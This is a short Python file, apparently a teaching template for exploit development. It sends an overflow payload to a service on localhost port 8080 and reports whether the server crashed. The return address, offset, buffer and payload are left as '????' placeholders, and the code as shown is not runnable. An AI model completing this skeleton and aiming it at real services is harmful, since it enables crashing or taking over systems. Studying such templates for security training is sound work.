h4cker/exploit_development/sockets_example.py
2022-02-21 11:25:45 -05:00

26 lines
No EOL
465 B
Python

import socket
import sys
import threading
import struct
IP = "127.0.0.1"
PORT=8080
jmpesp = ????
offset = ????
buf = ????
payload = ????
payload = "POST %s\r\n\r\n" % payload
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.settimeout(2)
sock.connect((IP,PORT))
sock.send(payload)
print "Buffer sent! (len %d)" % len(payload)
try:
print sock.recv(4096)
print "No crash...."
except:
print "Server died, Yayyyy!!"